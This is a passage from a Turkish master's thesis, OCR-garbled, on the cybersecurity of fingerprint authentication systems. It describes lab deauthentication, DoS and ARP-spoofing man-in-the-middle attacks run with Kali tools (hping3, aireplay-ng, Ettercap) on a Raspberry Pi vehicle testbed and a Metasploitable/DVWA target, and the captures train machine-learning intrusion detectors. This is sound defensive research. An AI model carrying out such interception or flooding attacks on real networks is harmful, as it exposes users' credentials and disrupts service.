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yedekleme, uzak sunucuya tasima vb gibi amaca yonelik adimlarin atildigi son adim ile

Mandiant atak yagam donglisiinii agiklamistir.

Akdogan (2015) yiiksek lisans tez ¢alismasinda parmak izi biyometrik verisinin
ozelliklerinin sirasiz Ozellik kiimesini kullanan yeni bir glivenlik anahtar1 protokoli
Onermistir. Parmak izlerinin essiz Ozelliklerinden yararlanmistir. Fonksiyonlari
olustururken hash ve esik mekanizmalarini kullanmistir. Yine parmak izi 6zelliklerinde
komsuluk iliskisi olusturmustur. Giivenlik performansi i¢in iki farkli veri seti kullanmistir.
Calismasinda olusturdugu protokoliinde giivenlik ihlali olusturmak i¢i kaba kuvvet saldirisi
(brute force attack), tekrarlama saldiris1 (replay attack) ve taklit etme saldirisi

(Impersonation attack) analiz edilmistir ve basarili protokol olusturuldugunu kanitlamistir.

Alaswad, Montaser ve Mohamad (2014) calismasinda biyometrik veri ile dogrulamanin
hassas noktalar1: tehditler ve tedbirler iizerinde calismistir. Oncelikle biyometik dogrulama
sistemini onbir bolgeye bolmiistiir. Her bir boliimiin tanimi, tehditlerini ve tedbirinin
calismistir. Birinci agama biyometrik verinin alinmasi asamasi: Bu asamada tehditleri
sahtecilik (spoofing), glivenilir olmayan cihazin giivenilir cihaz yerine kullanilmasi (use of
un-trusted device) ve DoS (denial of service) olarak ele almistir. Bu tehditlere kars1 tedbir
olarak ise canlilik tespiti (liveness detection), kimlik dogrulama mekanizmasi
(challenge/response), karsilikli dogrulama ve dayanikli cihaz (rugged device) kullanimi
onermistir. Ikinci asama alman ham biyometrik verinin doniisiimii asamasidir. Bu asamada
tehditleri tekrarlama saldirisi (replay attack), ortadaki adam saldirist (Man in the middle-
Mitm) ve yetkisiz izleme (Eavesdropping attack) olarak ele almistir. Bu tehditlere karsi
tedbir olarak verinin sifrelenmesi, giivenli kanal (secure channel) kullanimi, karsilikli
dogrulama (mutually authentication), simetrik veya asimetrik anahtar (use of symmetric or
asymmetric key) kullanmak, verinin dijital olarak imzalanmasi (digitally sign data), zaman
damgas1 (time stamp) kullanilmasini 6nermistir. Uciincii asama sinyal isleme (signal
precessing) asamasidir. Bu asama alinan biyometik verinin isaretlendigi asamadir. Bu
asamada tehdit olarak sisteme sahte veri eklenmesi ele almistir. Bu tehdite karsi ise giiglii
ve dogrulugu kontrol edilmis algoritma (use strong tested algorithms) kullanilmas1 olarak
Oonermistir. Dordiincli asama islenmis biyometrik verinin doniisiimii asamasi. Bu asama
biyometrik verinin doniistiiriilmesi asamasidir. Bu asamada tehdit olarak ise kaba kuvvet
saldiris1 (Brute force attack), yetkisiz izleme (Eavesdropping attack), tekrarlama saldirisi

(replay attack) ve ortadaki adam saldirisi (Man in the middle-Mitm) olarak ele almistir. Bu
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tehditlere karsi tedbir olarak zamansal uygulamalar, verinin sifrelenmesi, giivenli kanal
(secure channel) kullanimi, karsilikli dogrulama (mutual authentication), simetrik veya
asimetrik anahtar (use of symmetric or asymmetric key) kullanmak, verinin dijital olarak
imzalanmas: (digitally sign data), zaman damgasi (time stamp) kullanilmasini Gnermistir.
Besinci asama biyometrik verinin eslestirilmesi adimidir. Bu asamada tehdit olarak igerik
degistirme (Component replacement), sahte veri eklenmesi (Insertion of imposter data),
kimlik dogrulama veya erisim saldirisi, eslestirme skorunun manipiile edilmesi
(manipulation of match scores) saldiris1 ve optimize etme (Hill-climbing) saldiris1 olarak
ele alinmistir. Bu tehditlere karsi tedbir olarak onaylanmis igerik (signed component),
dogrulugu kontrol edilmis giiglii biyometrik algoritma (strong tested biometric algorithm),
bire bir eslestirme (1:1 matching), coklu biyometrik faktér (multi biometric factor),
giivenilir sensor (trusted sensor) ve giivenli kanal (secure channel) kullanilmasin
Onermistir. Altinc1 agama biyometik verinin geri alinmasi agamasidir. Bu asamada tehdit
olarak kaba kuvvet saldiris1 (Brute force attack), yetkisiz izleme (Eavesdropping attack),
tekrarlama saldiris1 (replay attack) ve ortadaki adam saldirisi (Man in the middle-Mitm)
olarak ele almistir. Bu tehditlere karsi tedbir olarak kimlik dogrulamada biyometrik verinin
kullanilmast (bind biometric to PKI certificate), verinin kriptolu olarak giivenli agda
taginmasi (transmit data over encrypted path/secure channel), zaman asimi uygulamasi
(time out/lock out policies), karsilikli dogrulama (mutually dogrulama), simetrik veya
asimetrik anahtar (use of symmetric or asymmetric key) , verinin dijital olarak
imzalanmas: (digitally sign data), zaman damgasi (time stamp) kullanilmasini 6nermistir.
Yedinci asama verinin depolama asamasidir. Bu asama tehdit olarak veri tabaninin
engellenmesidir. Veritabanina yonelebilecek tehditlere karsi giiclii sunucu yapisi, kriptolu
olarak verinin tutulmasmi Onermistir. Sekizinci asama eslesme skorunun doniisiimii
asamasidir. Bu asamada tehdit olarak ortadaki adam saldirisi (Man in the middle-Mitm),
optimize etme (Hill-climbing), eslesme skorunun manipiile edilmesi (manipulation of
match score) ve igerik degistirme (component replacement “yes machine”) olarak ele
alinmistir. Bu tehditlere karsi tedbir olarak giivenilir sensor (trusted sensor) ve gilivenli
kanal (secure channel), eslestirme ve karar verme islemleri asamasinda karsilikli
dogrulama (mutually authentication between matcher and decision components) olarak ele
almmistir. Dokuzuncu asama karar asamasidir. Bu asamada karar1 manipiile edecek
saldirilart optimize etme (Hill climbing attack), esik degerinin manipiile edilmesi
(Manipulating of threshold setting), karar esiginin manipiile edilmesi (Manipulating of

match decision) ve igerik degistirme (Component replacement “yes machine”) olarak ele
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almmistir. Bu tehditlere karsi tedbir olarak giivenli kanal (secure channel) kullanimi,
karsilikli dogrulama (mutual authentication), veri koruma (data protection) ve imzali igerik
(Sign components) ele alinmistir. Onuncu asama uygulama ile iletisim asamasidir. Bu
asamada uygulamanin c¢alismasin1 engelleyecek saldirilar ele alinmistir. Bunlar igerik

(13

degistirme (Component replacement “yes machine”), yetkisiz izleme (Eavesdropping
attack) ve karar esiginin manipiile edilmesidir (Manipulating of match decision). Bu
tehditlere karsi tedbir olarak imzali igerik (Sign components) ve verinin kriptolu olarak
giivenli agda taginmasidir (transmit data over encrypted path/secure channel). Onbirinci
asama uygulamanin c¢alismast asamasidir. Bu asamada uygulamanin c¢alismasini
engelleyecek olan zararli yazilim (Malicious code) ele alinmistir. Bu tehdite karsi tedbir

olarak uygulama standartlarinin saglanmasi (conform to standards) ve imzali kod

kullanilmasidir (code signing).
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3. YONTEM

Bu boliimde parmak izi ile kimlik dogrulamada siber glivenlige yonelik parmak izi uzman
sistemine ortadaki adam saldiris1 (Man in The Middle Attack-MiTM), igeriden saldiri
(Insider Attack), parola saldiris1 (Password Attack), kaba kuvvet saldirisi (Brute Force
Attack) ve yanlis veri enjeksiyonu (False Data Injection- FDI) uygulanarak parmak izi

uzman sistemine iliskin inceleme yapilmistir.
3.1. Arastirma Modeli

Parmak izi uzman sistemi ¢alisma modeli Sekil 3.1°de goriilmektedir. Bu model iki
boyutlu olarak ele almabilir. Ilk boyut sisteme giris yapmaya ve veri kayit etmeye
yetkilinin giris yapmasi. Bu giris genelde belirlenen cihazdan, belirlenen kullanict adi ve
sifre ile yapilmaktadir. Yetkili kullanici giris yapmaya miiteakip LS (Live Scanner) olarak
adlandirdigimiz parmak izi alma ve kayit etme cihazlari ile parmak izi verisinin alimimi
yapar. Miiteakiben alinan parmak izi verisinin 6zelliklerinin ¢ikarilmasi islemi 6zellik
cikaran sunucuda otomatik olarak yapilir. Ozellikleri ¢ikarilan parmak izi verisi
veritabanini sorgulanabilir bir diizende kayit edilir. ikinci boyutta ise baslangic noktas:
yine yetkili kullanicinin giris yapmas: ile baslar. ilk boyutta veri kaydi yapilirken ikinci
boyutta yetkili kullanici kendi veya baska bir sahsin parmak izi verisini sorgulamak
maksadiyla alir. Bu sorgu iki faktorlii kimlik dogrulamanin parmak izi dogrulamasi veya
bilinmeyen bir kisinin kim oldugunun sorgulandigi sorgu olmak {izere ikiye ayrilir.
Sorgunun amacia yonelik parmak izi veritabaninda sorgulanir. Sonu¢ olumlu ise ya

sisteme giris izni verilir veya bilinmeyen kisinin kimlik tespit sorgusu yapilir.
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Sekil 3.1. Parmak izi uzman sistemi ¢alisma modeli

Parmak izi uzman sistemine yapilan saldirilarin modeli Sekil 3.2°de goriilmektedir. Bu
modelde calismamizda da gorecegimiz muhtemel saldirt noktalar1 ve saldirlar
modellenmistir. Ratha, Connell ve Bolle (2001) ve Alaswad, Montaser ve Mohamad
(2014) calismalarinda muhtemel saldir1 noktalarimi ele almistir. Bu ¢alismalar literatiir
taramas1 boliimiinde ele alinmistir. Ozet olarak sifre saldirisi, ortadaki adam saldirisi, kaba
kuvvet saldirisi, DoS ve DDoS saldirilar1 yapilabilecegi goriilmiistiir. Saldir1 noktalar1 ise
kullanic1 girisi, veri alinmasi, verinin 6zellik ¢ikarici sunucuya gonderilmesi, 6zellik
cikarict sunucunun c¢alismasi, Ozellikleri ¢ikarilan veri, veritabanina veri kaydi,
veritabaninda yapilan sorgu ve sonucu ve son olarak sorgu sonucunun kullaniciya

gosterilmesi noktalar1 olarak goriilmiistiir.
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Sekil 3.2. Parmak izi uzman sistemine yapilan saldirt modeli

3.2. Arastirma Modelinin Amaci

Benzer alanlarda yapilan saldirilar ve tespiti, parmak izi ile kimlik dogrulamanin siber
giivenligi kapsaminda Parmak izi uzman sistemine Sekil 3.1 ve yapilan saldirt modelinin
Sekil 3.2°de sistem tizerinde ki etkileri ve bu saldirilarin uzman sistem aracilig ile tespit

edilmesine yonelik 6zelliklerin belirlenme siirecinde gergeklestirilen galisma ele alinmustir.

Bu kapsamda gergeklestirilen ilk c¢alisma otonom ara¢ gilivenligine yoneliktir. Bu
calismanin 6nemli noktasi parmak izi uzman sistemi yerine gerceklestirilmesidir. Ortadaki
adam saldirist (MiTM), dagitik hizmet engelleme saldirilarisi (Distributed Denial-of-

Service-DoS), sifre saldiris1 (Password attack), yanlis veri enjekte etme saldiris1 (False
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Data Injection-FDI) ve igeriden saldirinin (Insider Attack) sistem tizerindeki etkilerinin

goriilerek, parmak izi uzman sistemine benzetilmesi amaglanmstir.

Sekil 3.3'de gosterilen serit takip sistemi, otonom yolculuk sirasinda aracin istenilen yolda
kalmasini1 saglar. Yolu tespit etmek ve aracin yoriingesini korumak i¢in 6n cama monte
edilmig bir kameray:r kullanir. Sistem, Ozellikle uzun yolculuklarda siiriiciiniin dikkat
dagiikligi veya uykulu olmasindan kaynaklanan kazalari onlemek igin bir gilivenlik
onlemi gorevi gormektedir. Arag seritten sapmaya baslarsa Serit Koruma sistemi siiriiciiyii
isitsel ipuglariyla, direksiyon simidi titresimleriyle veya emniyet kemerinin gerdirilmesiyle
uyarir. Arag ireticisine bagli olarak sistem genellikle ara¢ ortalama 60 km/saat hizi

astiginda devreye giriyor ve siiriicli serit degistirmeye basladiginda devreden ¢ikiyor.
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BASLAT }—b GELEN BILGI _AKTARIMI_> RASBERRY Pl >—«ARAR—»{ YON KONTROLU

Sekil 3.3. Serit takip sistemi

Sekil 3.4'te gosterilen otomatik acil durum frenleme sistemi, aracin etrafindaki engelleri ve
mesafeleri tespit etmek igcin RADAR, LIDAR veya kamera sensorlerine dayanir.
Gerektiginde otomatik frenlemeyi baglatir. Ara¢ 30 km/saat veya daha yiiksek bir hiza
ulagtiginda sistem, Ondeki araglar1 izlemeye basliyor ve secilen takip mesafesine gore

surliciiyll uyariyor.
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Sekil 3.4. Otomatik acil durum frenleme sistemi

Otonom aracin iletisim sistemi icin, Raspberry Pi ana ara¢ bilgisayar1 olarak gorev
yaparken, kamera verilerinin islenmesi i¢in bir yer istasyonu ve Python kiitiiphanesi
OpenCV kullaniliyor. Raspberry Pi ile yer istasyonu arasindaki iletisim, bilgisayarlarin aga
baglanmasini saglayan IEEE 802.11 standardina dayali bir agin olusturulmasiyla baslar.

Bilgisayarlarin baglanmasiyla sistem tamamlanir ve TCP protokolii kullanilarak aralarinda
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veri iletimi saglanir. Bu veri aktarimi, Raspberry Pi'nin video beslemesini yer istasyonuna
iletmesini, daha sonra seritleri ve engelleri tespit etmek icin goriintiileri islemesini, aracin
yoniinii ve hizin1 hesaplamasini ve elde edilen bilgiyi Raspberry Pi'ye geri gondermesini

igerir.

Otonom aracin aciklanan bilesenleri ve islevleri, yazilim tabanl siiriis destek sistemlerinin
entegrasyonunu ve bunlarin kamera ve sensor verilerine dayali oldugunu gosteriyor. Bu
ozellikler aracin giivenligini ve otonomisini artirmaya katkida bulunarak gelismis otonom

siirlis yeteneklerinin Oniinii agiyor.

KALI LINUX isletim sisteminde bulunan Nmap, HPing3, airodump-ng, aireplay-ng,
Ettercap, gibi cesitli sizma test araclar1 kullanilarak otonom arag¢ sistemine Death Attack,
DoS ve MitM saldirlart gergeklestirilmistir. Arpspoof, FFmpeg ve Wireshark
uygulanmistir. Bu saldirilar Sekil 3.5'te Ozetlenen ag topolojisinde agiklanan sistem
tizerinde gergeklestirilmistir. Saldirilar, Sekil 3.6'da yer alan saldir1 ag topolojisinde
detaylandirilan adimlar takip edilerek gerceklestirilmistir.

Raspberry Pi Otonom Ground Station
Arag ag1
IP: 192.168.60.183 IP: 192.168.60.144
MAC: B8:27:EB:69:55:2F MAC: 74:29:AF:43:8A:77

A |
1

| At Saldirgan

Kali Linux

Sekil 3.5. Otonom arag ag topolojisi

Oliim Saldiris1, kimlik dogrulama paketleri gondererek otonom arag ile bagh cihazlar
arasindaki iletisimi bozmay1 ve baglanti kesintilerine neden olmay1 amaclamaktadir. Bu

saldir1, kablosuz erigsim noktasini hedef alan kimlik dogrulama paketleri olusturmak i¢in
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hping3 araci kullanilarak gerceklestirilmistir. DoS (Hizmet Reddi) saldirisi, sistemi asiri
yiklemek ve mesru isteklere yanit veremez hale getirmek igin gergeklestirilmistir.
Saldirida, asir1 ag trafigini yakalayip enjekte etmek igin airodump-ng ve aireplay-ng
araclarindan yararlanildi, bu da agin etkili bir sekilde tasmasina ve hizmet kesintisine
neden olmustur. MitM (Ortadaki Adam) saldirisi, otonom ara¢ ile hedeflenen alicilar
arasindaki iletisimi kesmeyi ve degistirmeyi igermektedir. Bu saldiri, ARP (Adres
Coziimleme Protokolii) tablolarin1 degistirmek ve ag trafiini saldirganin makinesi
iizerinden yeniden yoOnlendirmek icin Ettercap ve Arpspoof araglart kullanilarak
gerceklestirilmistir. Bu, saldirganin iletisimi gizlice dinlemesine ve hatta iletilen verileri

degistirmesine olanak tanimustir.

Saldirilar sirasinda ag trafigini yakalamak ve analiz etmek icin Wireshark araci
kullanilmistir. Otonom arag, baglh cihazlar ve saldirganin makinesi arasinda alinip verilen
paketlerin izlenmesine ve incelenmesine olanak saglamistir. Saldirilar sirasinda ekrani
kaydetmek ve saldiri senaryolarinin ve bunlarin sistem tiizerindeki etkilerinin gorsel
kanitin1 saglamak icin FFmpeg kullanilmistir. Otonom ara¢ sistemine bu saldirilar
gerceklestirilerek giivenligindeki giivenlik aciklar1 ve zayifliklar tespit edilmistir ve
sistemin bu tiir tehditlere kars1 dayanikliligini artirmak i¢in potansiyel karsi onlemler ve
tyilestirmeler arastirilmistir. Boylece parmak izi sisteminin giivenligine yonelik tehditler ve

onlemler goriilmiistiir.
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Sekil 3.6. Saldir1 ag topolojisi
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Sekil 3.6'daki saldir1 ag topolojisi akis semasi incelendiginde dort ana asamadan olustugu
goriilmektedir. Kesif, saldir1 ve gozlem asamalari olan saldiri ile ilgili kisimlar ilk g
asamay1 olusturur. Ancak calismamizin asil odak noktasi, MitM gibi pasif saldirilarin
yapay zeka algoritmasi araciligiyla tespit edilmesini ve bilginin ifsa edilmesini 6nlemek
icin sistemin miimkiin olan en kisa siirede calisir durumda kalmasimin ve saldirilardan

korunmasinin saglanmasini iceren son asamadir.

[Ik asamada ag taranir ve hedef sistem belirlendikten sonra marka ve model bilgileri
dogrulanarak bu hedef sistemin agdaki varliginin gergekligi dogrulanir. Daha sonra
belirlenen hedef sisteme akis semasinda goriildiigii gibi Ui¢ farkli saldir1 (Death Attack,
DoS, MitM) gergeklestirilir. Bu saldirilarin sisteme etkileri {iglincii agsama olan saldir1
asamasinda gozlemlenmektedir. Death Saldirisinda kimlik dogrulamanin bozuldugu, DoS
saldirilarinda paket gecikmelerinde artis oldugu, MitM saldirilarinda ise Wireshark
iizerinden kopya paketler alinarak magdur cihazlarin ARP tablolarinin girilerek basarili bir
sekilde manipiile edilmesine olanak saglandigi goriilmektedir. Son asama olan saldir1 tespit
asamasinda ise Wireshark {izerinden elde edilen paketler hem normal ag paketlerini hem de
saldir1 olarak tanimlanan paketleri tanitarak sistemi egitmek icin kullaniliyor. Makine
Ogrenmesi asamasi tamamlandiktan sonra egitim seti kullanilarak saldir1 paketlerini tespit
etmedeki basari orani incelenmektedir. Inceleme, saldir1 paketlerinin basarili tespit

oraninin %96,1 oldugunu ortaya koyuyor.

Genel olarak bu yontem, MitM saldirilarinin erken tespiti ve 6nlenmesi i¢in otomatik ve
yapay zeka tabanli bir yaklagim saglayarak sistemin korunmaya devam etmesine ve

bilgilerin ifsa edilmesini 6nlemesine olanak tanir.

Bu c¢alismada ti¢ tiir saldiri (Death Attack, DoS, MitM) gergeklestirilmistir. Bununla
birlikte, calismamizin ana odagi, bilginin ifsa edilmesini 6nlemek i¢in saldirilart miimkiin
olan en erken asamada otomatik olarak tespit etmeyi ve azaltmayi amaclayan bir yapay
zeka algoritmasi araciligiyla (Sekil 3.7) MitM gibi pasif saldirilarin tespit edilmesidir. Bu

boliimde yapay zeka kullanilarak saldiri tespiti incelenmistir.
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Yapay zekanin en 6nemli yonii test paketlerindeki 6zelliklerin egitimi ve tanimlanmasidir.
Saldirt tiirline gore Ozelliklerin belirlenmesi ve egitimi bu asamada ¢ok Onemlidir.
Ogrenilen bilgilerin makineye dgretilmesiyle sistem, bir saldir1 sirasinda gelen paketleri
benzer kaliplarla karsilastirarak uyar1 verebilmelidir. Saldir1 i¢in gereken temel bilgiler ve
protokoller genellikle hedef IP, MAC ve baglant1 noktasi adreslerini igerir. Ayrica akici
protokol karakteristigi ve paket boyutu da hedefe yonelik saldirinin basari oranint

etkileyebileceginden 6nemli faktorlerdir.

MitM saldirisinda ¢ok onemli bir nokta, saldirganin kurban cihazlarin ARP tablolarinm
maniplile etmesine ve kendi kotii amaglit ARP girisini etkili bir sekilde eklemesine olanak

tantyan Wireshark araciligiyla yinelenen paketlerin basarili bir sekilde ele gegirilmesidir.

Bu bolimde ag trafigi lizerinde yapay zeka algoritmalar1 kullanilarak saldiri tespiti
yapilmaktadir. Kaydedilen ag trafigi gesitli yapay zeka algoritmalarindan gegirilir. Bu
calismada yapay zeka tabanli saldirgan tespit modeli dért asamadan olusmaktadir. ilk
asamada ag trafiginden elde edilen veriler, veri 6n isleme adimlarindan gegirilerek uygun
bir veri seti olusturulur. Bu veri seti, algoritmalarin dogrulugunu artirmak icin modele
yiiklenmeden 6nce 10 milisaniyelik zaman araliklarina béliiniir. Ikinci asamada olusturulan
veri seti %70 egitim verisi ve %30 dogrulama verisine boliiniir. Bu veri seti Stokastik
Gradient Descent, Gradient Boosting, Neural Network, SVM, Random Forest ve KNN gibi
farkli yapay zeka algoritmalar1 kullanilarak 10 kat ¢apraz dogrulama yontemi kullanilarak
analiz edilir. Ucgiincii asamada yapay zeka algoritmalarinin sonuglarinin daha 1iyi
anlagilabilmesi icin gorsellestirme tekniklerinden yararlanilmaktadir. Bu, elde edilen
verilerin daha gorsel olarak degerlendirilmesine olanak saglar. Son degerlendirme
asamasinda, tiim saldir1 tiirleri genelinde en yiliksek dogruluk, F1 puani, geri cagirma ve
zaman degerlerini sergileyen Rastgele Orman Algoritmasi, saldiri tespiti i¢in secilir ve

Sekil 3.7'de gosterildigi gibi gergek zamanli verilerde kullanilmak tizere kaydedilir.
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Sekil 3.7. Yapay zeka algoritmasi

Bu boliimde saldir1 analizlerinin yapildigi ve uzman sisteme iletilen veri paketlerinin
makine O6grenmesi ve yapay zeka algoritmalar1 kullanilarak islendigi ikinci asamaya
odaklanildi. Saldir1 tespitinde kullanilan uzman sistemde, yakalanan veri paketleri saldir
veya normal ag paketleri olarak siiflandirildi. Bu smiflandirma islemi uzman sisteme
tanitilmig ve sistem egitimi icin %70 egitim veri seti olarak kullanilmistir. Smiflandirma
asamasi tamamlandiktan sonra uzman sistem tarafindan smiflandirilan etiketli veri

paketlerinden olusan %30 dogrulama veri setine test amacgh g¢esitli yapay zeka

algoritmalar1 uygulanda.

Cizelge 3.1'de sunulan degerler incelendiginde, yapay zeka algoritmasinin performansini
degerlendirmek icin dogruluk oraninin (CA) tek basina yeterli olmadigi goriilmektedir.
Bunun temel nedeni F1 puani, hassasiyet, geri cagirma ve Ozellikle test siiresi gibi
faktorlerin 6nemidir. Ogrenme asamasi tamamlandiktan sonra sistem verilere iliskin
tanimlar1 6grenir ve bu agamada genellikle iyi performans gosterir. Ancak yeni gelen

paketin ait oldugu siifin hizli ve dogru bir sekilde belirlenmesini ifade eden test siiresi cok
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onemlidir. Dogru tespitin miimkiin oldugu kadar ¢abuk yapilabilmesi biiyiik 6nem tastyor.
Tablo incelendiginde rastgele orman algoritmasinin dogruluk oranlarinin, F1 puani,
kesinlik ve geri ¢cagirma puanlarinin digerlerine gore daha yiliksek oldugu, bu da tespitte
daha yiiksek bir basar1 oranina isaret ettigi goriilmektedir. Bu nedenle uzman sistemde

rastgele orman algoritmasinin kullanilmasina karar verilmistir.

Cizelge 3.1. Model karsilastirma

Model Train Time Test Time AUC CA F1 Precision Recall
[s]

[s]
Random

3.724 0.442 0.961 0.922 0.923 0.925 0.922
Forest
Gradient

. 35.890 0.378 0.951 0.882 0.888 0.906 0.882

Boosting
kNN 2.063 4,575 0.904 0.877 0.874 0.873 0.877
Neural

57.525 0.386 0.927 0.872 0.879 0.908 0.872
Network
SGD 2.536 0.359 0.880 0.862 0.869 0.893 0.862
SVM 32.966 0.833 0.449 0.292 0.196 0.819 0.262

Cizelge 3.2'de sunulan karigiklik matrisinde bulunan degerler incelendiginde, %70
ogrenme oranina ulasildiktan sonra sistemin test verilerini dogru pozitif ve yanlis pozitif
olarak siniflandirma konusundaki dogrulugunu gostermektedir. Bu tabloda O olarak
isaretlenen veriler, saldir1 dis1 paketleri temsil eder. ilk satirda sistem, saldir1 olmayan
paketleri %93,6 dogrulukla dogru bir sekilde siniflandirabildi. Bu ise paketlerin saldir
olmayan paketler olarak dogru bir sekilde tanimlandigin1 gosteriyor. Toplam 315.881 paket
gonderildiginde yasal paketlerin %93,6 dogrulukla dogru siniflandirildigi, %6,4"lintlin ise
hatali olarak saldir1 olarak smiflandirilmasindan dolayr saldiri olarak tanimlandigi

goriilmektedir.
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Ikinci satira gecersek, saldir1 paketleri s6z konusu oldugunda, saldir1 paketlerinin %87,6
dogrulukla saldir1 olarak tanimlandigi, %12,4"nilin ise hatali bi¢imde smniflandirildigi
goriilmektedir. Bu oranlar sistemin saldir1 paketlerini %87,6 dogrulukla basariyla tespit

ettigini ve %12,4 hata orani iirettigini gostermektedir.

Bu bulgular, sistemin saldir1 paketlerini yiiksek dogrulukla etkili bir sekilde tespit ettigini
ve yasal paketleri ¢ogunlukla dogru sekilde smiflandirdigini gostermektedir. Bu da
sistemin glivenlik acisindan etkin ¢alistigin1 ve saldirilara kars1 giiglii koruma sagladigini

gosteriyor.

Cizelge 3.2. Karigiklik matrisi

TAHMIN EDILEN
0 1 5
GERGEK 0 936%  6.4% 164311
1 124%  87.6% 151570
3 160280 155601 315881

Calismanin ikinci boliimiinde pasif saldiri tiirlerinden olan ortadaki adam saldirisinin
(MiTM) ag tizerindeki etkisi ve tespitine odaklanilmistir. Parmak izi uzman sistemi
caligmasimnin modelinde yer alan ve pasif saldir1 olmasi nedeniyle sistem iizerindeki
etkisinin tespiti zor olmas1 nedeniyle bu saldirinin uzman sistem {iizeriden tespiti olduk¢a
onemlidir. Ortadaki Adam (MiTM) saldirisi, bir saldirganin genel ag i¢indeki iletisimleri
engelledigi veya degistirdigi bir siber tehdidi temsil etmektedir.

Ortadaki adam saldirisinin gerceklestirildigi ortam asagidaki gorsellerde anlatilmaktadir.
Sekil 3.8’de hacker tarafindan kullanilan saldir1 cihazi hakkinda bilgiler, Sekil 3.9’da
magdurun ait hedef cihaz1 hakkinda bilgileri, Sekil 3.10°da Web sitesi hakkinda zayifliklar,
Sekil 3.11°de Genel agdaki cihazlarin kesfi Nmap araciyla gergeklestirilmesi, Sekil 3.12°de
Ettercap aracinin genel agdaki cihazlari kesfetmek icin kullanildigi, Sekil 3.13’te Saldir

sonucunda kullanicinin bilgilerinin aciga ¢iktig1 goriilmektedir.
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root@kali: ~

File Actions Edit View Help

(Ethernet)
ts 11 bytes
rors @ dropped T § rame @
byte 4
dropped erruns @ carrier @ collisions @

rruns @
B)

wlan@:

ts 9 by
rors @ dropped
£ byte !
dropped @ overr

Sekil 3.8. Saldir1 cihaz1 hakkinda bilgiler

B8 Command Prompt - m} *

Windows IP Conf

Sekil 3.9. Hedef cihaz hakkinda bilgiler
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msfadmin@metasploitable:™5 ifconfig
etho Link encap:Ethernet HUWaddr 08:00:27:9b:3c:e?
inet addr:192.168.1.44 Bcast:192.168.1.255 HMa=sk:255.255.255.0
inetb addr: fe80::a00:27ff :fedb:3ce?~64 Scope:Link
UPF BROADCAST RUNNING MULTICAST MTU:1500 HMetric:1
RX packet=:94 errors:0 dropped:0 overruns:0 frame:0
TX packet=:88 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txgqueuelen:1000
RX bytes:9339 (9.1 KB) TX bytes:9072 (8.8 KB)
Base address:0xd010 Memory:fOoZ00000-f0Z2Z20000

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inetb addr: ::1-128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packet=:91 errors:0 dropped:0 overruns:0 frame:Q
T¥ packet=:91 errors:0 dropped:0 overruns:0 carrier:0
collisionz:0 txgueuelen:0

RX byte=:19301 (18.8 KB) TX byte=s:19301 (18.8 KB)

msfadmin@metasploitable:™5 _

Sekil 3.10. Web sitesi hakkinda zayifliklar

BmmP O 23 4
File Actions Edit View Help

1

B P8 8R0S Ere oo

Sekil 3.11. Genel agdaki cihazlarin kesfinin Nmap araciyla gergeklestirilmesi
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EQ B Ettercap

Host List x Targets x
MAC Address Description
90:EF:68:58:4A:
:27ff:fe9b:3ce7
d:e854:d468 1C
8ff:fe58:4a33 90:E :58:4A:33
B FO:2 D5:31:09
192.168.1.34 7C !
fe80::b51f:c9c4:b615:c39d  FO:2F:74:D5:
fe80::c50d:519f:9 e108 08:00:
192.168.1.42 C D:43:B5:FF
192.168.1.44 08:00:27:9B:3C:E7
192.168.1.45 08:00:27:E6:E5:59

Delete Host Add to Target Add to Target 2

(all the hosts in the list)

168.1.44:80 -> USER: deneme PA! st INFO: http://192.168.1.44/dvwa/login.php
CONTENT: username=deneme&password=t Login=Login

m q = Ettercap

Host List x Targets x

Target1 Target 2
192.168.1.45

Delete Add Delete

GROUP 2 : AP

Sekil 3.13. Saldir1 sonucunda kullanici bilgi ekrani

Calismanin, egitim ve test paketlerinde 6zellik se¢imine vurgu yaparak Ortadaki Adam
(MitM) saldirilarinin derin 6grenme algoritmasi aracilifiyla tespitini hedeflemektedir.
Zaman, IP adresleri, baglanti noktas1 adresleri, protokol tiirii (UDP, TCP veya Ping) ve

paket boyutu gibi 6zellikler, yeni saldirt metodolojileriyle ilgileri gbz oniine alindiginda
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cok onemlidir. ARP zehirlenmesi, paket bayraklari, segmentasyonlar, yinelenen paketler
ve MitM saldirilar1 nedeniyle artan Gidis-Dontis Siiresi (RTT) de algoritmada dikkate

alman hayati faktorlerdir.

Bu boliimde, izinsiz giris tespiti baglaminda yaygin olarak kullanilan uzun kisa stireli
bellek (long short-term memory, LSTM) algoritmas1 disindaki ¢esitli yapay zeka (Al)
algoritmalarinin karsilastirmali bir degerlendirmesi sunulmaktadir. Onerilen yapay zeka
merkezli davetsiz misafir tespit modeli dort asamadan olusmaktadir. Baslangicta toplanan
ag verileri, yapay zeka algoritmalarinin egitimi i¢in uygun bir veri kiimesi olusturmak
izere Onceden islenir. Daha sonra %85 egitim ve %15 dogrulama verisine boliinen bu veri
seti, Neural Network (NN)-ReLU, Logistic Regression, Random Forest, Gradient Boosting
ve Naive Bayes gibi yapay zeka algoritmalar1 araciligiyla analize tabi tutulur. Ugiinciisii,
Scatter Plot ve Violin Plot gibi grafiksel araglar, yapay zeka algoritmalarindan elde edilen
bilgilerin daha iyi anlagilmasini kolaylastirir. Son asama, bu algoritmalarin performans
degerlendirmesini igerir; Rastgele Orman algoritmasi dogruluk, F1 puani, Geri Cagirma ve
hesaplama verimliligi agisindan en etkili algoritma olarak ortaya ¢ikar. Tahmin edilen ve
gercek hedef Ozellik degerlerini yan yana getirerek modelin performansini daha fazla

degerlendirmek igin bir karisiklik matrisi olusturulmustur (Sekil 3.14).
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Sekil 3.14. Yapay zeka algoritmalariyla saldir1 tespiti

Parmak izi analiz asamalar1 incelendiginde agiklik olabilecek bilesenlerden birisinin
isletim sistemleri olabilecegi goriilmektedir. Bu kapsamda, gercgeklestirilen c¢aligmada

isletim sistemlerinin siirekli izleme (Continious Monitoring) siireci 1s1ginda, yaygin olarak

bilinen ve tespit edilen bilgisayar giivenlik agikliklari (Common Vulnerabilities and

Exposures-CVE) yayinlanan sitelerden kontrol edilerek, aciklik tespit edilmesi durumunda

kritiklik derecesine gore uyar1 (SMS, mail, vb. gibi) gerceklestirilecektir.

Isletim sistemindeki agiklarin listelenmesi i¢in 6nerilen uygulama etkilesimi Sekil 3.15'te
gosterilmektedir. Yontemde, isletim sistemindeki tiim uygulama ve kiitliphaneler icin
indeksleme yapilmaktadir. Olusturulan bu liste, zafiyetlerin taranmas sirasinda 6zet bilgi
